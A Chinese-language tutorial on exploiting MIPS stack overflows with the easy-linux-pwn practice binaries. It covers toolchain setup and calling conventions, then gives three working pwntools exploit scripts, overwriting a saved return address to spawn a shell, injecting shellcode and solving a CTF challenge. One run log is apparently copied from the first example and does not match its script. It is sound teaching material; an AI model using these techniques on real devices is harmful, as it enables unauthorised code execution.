MIPS栈溢出入门
作者:Rrarandom@白帽汇安全研究院
近期在学习MIPS架构下的相关漏洞,记录一下从https://github.com/xairy/easy-linux-pwn这个项目中的典型示例来入门mips栈溢出漏洞的一些经验。
环境配置
交叉编译:gcc、libc
sudo apt update
sudo apt install build-essential
sudo apt install gcc-mips-linux-gnu
mips-linux-gnu-gcc --version
sudo apt-get install libc6-mips-cross
调试工具:gdb、gdb-multiarch、pwndbg
sudo apt-get install gdb gdb-multiarch
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
pwntools
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
qemu
sudo apt-get install qemu
sudo apt-get install qemu-user
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system
前置知识
大端序与小端序
大端(Big-endian):数据的高位字节存放在地址的低端 低位字节存放在地址高端小端(Little-endian):数据的高位字节存放在地址的高端 低位字节存放在地址低端
以0x12345678为例:
低地址 高地址
大端 12 34 56 78
小端 78 56 34 12
mips寄存器
常见指令
move:寄存器传送
加载和存储
lui: 把立即数加载到寄存器高位
lw、lwu: 加载字(32 位),然后分别符号扩展或零扩展到整个寄存器
sw: 存储字(32 位)
运算
addu、addiu、daddu、daddiu: 分别用于 32 位和 64 位的加法
and、andi、or、ori、xor、xori、nor: 三操作数逐位逻辑操作
跳转、分支
jal、jalr: 这些实现了直接和间接的子程序调用。
b: 相对 PC 的无条件(但是相对短程的)分支
bal: 相对 PC 的函数调用
示例:
int vulnerable()
{
printf("> ");
fflush(stdout);
char buffer[128];
read(STDIN_FILENO, &buffer[0], 256);
}
; var int32_t var_98h @ sp+0x98
; var int32_t var_9ch @ sp+0x9c
addiu sp, sp, -0xa0 分配的栈空间
sw ra, (var_9ch) 栈上保存ra
sw fp, (var_98h) 栈上保存fp
move fp, sp sp——>fp
move sp, fp fp——>sp
lw ra, (var_9ch) 恢复ra
lw fp, (var_98h) 恢复fp
addiu sp, sp, 0xa0 回收栈空间
jr ra 跳转到ra
调用约定与栈帧
栈操作:与x86架构一样,都是向低地址增长的。但是没有EBP(栈底指针),进入一个函数时,需要将当前栈指针向下移动n比特,这个大小为n比特的存储空间就是此函数的栈帧存储存储区域。
调用:如果函数A调用函数B,调用者函数(函数A)会在自己的栈顶预留一部分空间来保存被调用者(函数B)的参数,称之为调用参数空间。
参数传递方式:前四个参数通过$a0-$a3传递,多余的参数会放入调用参数空间。
返回地址:在x86架构中,使用call命令调用函数时,会先将当前执行位置压入堆栈,MIPS的调用指令把函数的返回地址直接存入$RA寄存器而不是堆栈中。
以下面这个函数为例:
extern nested(int a, int b, int c, int d, int *e);
extern nonleaf(int a, int b, int c, int d, int e)
{
nested(d, b, c, a, &e);
}
栈帧
叶子函数和叶子函数
叶子函数:不调用其他函数的函数
非叶子函数:调用其他函数的函数
函数调用过程:父函数调用子函数时,复制当前$PC的值到$RA寄存器,然后跳到子函数执行;到子函数时,子函数如果为非叶子函数,则子函数的返回地址会先存入堆栈,否则仍在$RA寄存器中;返回时,如果子函数为叶子函数,则”jr $ra”直接返回,否则先从堆栈取出再返回。
栈溢出
栈溢出漏洞的基本原理是程序向栈中的缓冲区写入的数据没有被合理的控制大小,以至于可以对栈中的返回地址或变量等进行修改。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。
常见的容易出现栈溢出的函数有:strcpy,sprintf,snprintf,strchr,gets,scanf,strcat等。
strcpy(stack, buf);
sprintf(stack, "%s", buf);
int left = snprintf(stack, sizeof(stack),"%s", buf1);
snprintf(stack+left, sizeof(stack)-left, "%s", buf2);
pwntools
python2和python3中的bytes和str:在python3中bytes和str不能直接拼接,需要字符串使用b前缀b"\x99\xf7\xe2"
pwntools中的IO:
接收数据
recv(n)
- 接收任意数量的可用字节recvline()
- 接收数据直到遇到换行符recvuntil(delim)
- 接收数据直到找到分隔符recvregex(pattern)
- 接收数据直到满足正则表达式模式recvrepeat(timeout)
- 继续接收数据直到发生超时clean()
- 丢弃所有缓冲数据
发送数据
send(data)
- 发送数据sendline(line)
- 发送数据和换行符
示例
示例1
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void not_called() {
printf("launching shell...\n");
system("/bin/sh");
}
int vulnerable() {
printf("> ");
fflush(stdout);
char buffer[128];
read(STDIN_FILENO, &buffer[0], 256);
}
int main(int argc, char** argv) {
vulnerable();
return EXIT_SUCCESS;
}
在这里存在溢出
char buffer[128];
read(STDIN_FILENO, &buffer[0], 256);
编译:
mips-linux-gnu-gcc -g -fno-stack-protector -no-pie -fno-pie -z execstack -static 02-overwrite-ret.c -o 02-overwrite-ret
查看文件信息:(这里虽然显示Canary found,但是由于编译时的-fno-stack-protecto选项Canary保护并没有开启,可能是因为静态链接的二进制文件里存在__stack_chk_guard
和__stack_chk_fail
)
$ file 02-overwrite-ret
02-overwrite-ret: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=45f997ab0e715ae067783e060d298fcfc435c2c4, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec --file 02-overwrite-ret
[*] '/bin/mips/02-overwrite-ret'
Arch: mips-32-big
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
调试:
查看栈帧信息获取ra保存地址
pwndbg> i f
Stack level 0, fr ame at 0x7ffff070:
pc = 0x40082c in vulnerable (src/02-overwrite-ret.c:11); saved pc = 0x4008c8
called by fr ame at 0x7ffff090
source language c.
Arglist at 0x7ffff070, args:
Locals at 0x7ffff070, Previous fr ame's sp is 0x7ffff070
Saved registers:
s8 at 0x7ffff068, ra at 0x7ffff06c, pc at 0x7ffff06c
获取buffer起始地址
pwndbg> p &buffer
$3 = (char (*)[128]) 0x7fffefe8
利用:
由于程序中存在system("/bin/sh"),所以利用思路为:buffer溢出覆盖ra,跳转到not_called地址
import struct
import sys
from pwn import *
context(arch='mips', os='linux', endian='big', word_size=32)
binary_path = '/bin/mips/02-overwrite-ret'
#通过调试得到的ra地址和buffer起始地址
ra_saved_addr = 0x7ffff06c
buffer_addr = 0x7fffefe8
binary = ELF(binary_path)
not_called_addr = binary.symbols['not_called']
p = process(binary_path)
payload = b''
payload += b'a' * (ra_saved_addr - buffer_addr)
payload += p32(not_called_addr)
p.readuntil('> ')
p.send(payload)
p.interactive()
~/easy-linux-pwn-master/pwn/mips$ python3 exp.py
[*] '/easy-linux-pwn-master/bin/mips/02-overwrite-ret'
Arch: mips-32-big
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Starting local process '/easy-linux-pwn-master/bin/mips/02-overwrite-ret': pid 2690
[*] Switching to interactive mode
launching shell...
$ ls
exp.py
$
示例2
和示例1同样的漏洞
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int vulnerable() {
printf("> ");
fflush(stdout);
char buffer[128];
read(STDIN_FILENO, &buffer[0], 512);
usleep(1000);
}
int main(int argc, char** argv) {
vulnerable();
return EXIT_SUCCESS;
}
程序内部没有system,向栈中的ra地址后面直接写入shellcode
由于v中包含了sleep,这里不考虑缓存一致性
利用:
import struct
import sys
from pwn import *
context(arch='mips', os='linux', endian='big', word_size=32)
binary_path = '/bin/mips/04-shellcode-static'
ra_saved_addr = 0x7fffefdc
buffer_addr = 0x7fffef58
shellcode = asm(shellcraft.sh())
p = process(binary_path)
payload = b''
payload += b'a' * (ra_saved_addr - buffer_addr)
payload += p32(ra_saved_addr + 4)
payload += shellcode
p.readuntil('> ')
p.send(payload)
p.interactive()
~/easy-linux-pwn-master/pwn/mips$ python3 exp.py
[*] '/easy-linux-pwn-master/bin/mips/04-shellcode-static'
Arch: mips-32-big
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Starting local process '/easy-linux-pwn-master/bin/mips/02-overwrite-ret': pid 2794
[*] Switching to interactive mode
launching shell...
$ ls
exp.py
$
示例3
Mplogin:这一题已经有1和2很详细的分析了,这里不再写出详细细节
在read(0, v4, v3)处溢出
from pwn import *
context(arch='mips',endian='little')
io = process(["qemu-mipsel","-L","./","./Mplogin"])
io.sendafter("name : ",b"admin".ljust(0x18,b'a'))
io.recvuntil("Correct name : ");
io.recv(0x18)
stack = u32(io.recv(4)) #获取栈地址
io.sendafter("Pre_Password : ",b"access".ljust(0x14,b"2")+p32(0x100)) #控制read的第三个参数
io.sendafter("Password : ",b"0123456789".ljust(0x28,b"2")+p32(stack)+asm(shellcraft.sh())) #执行shellcode
io.interactive()
栈溢出除了本文中提到的ret2text、ret2shellcode,还有ret2syscall、ret2ilbc等利用方式。
参考:
[1] https://minnie.tuhs.org/CompArch/Resources/mips_quick_tutorial.html
[2] 《See MIPS Run (Second Edition)》
[3] https://ctf-wiki.org/pwn/linux/stackoverflow/stackoverflow-basic/
[4] https://www.anquanke.com/post/id/202053
[5] https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow
最新评论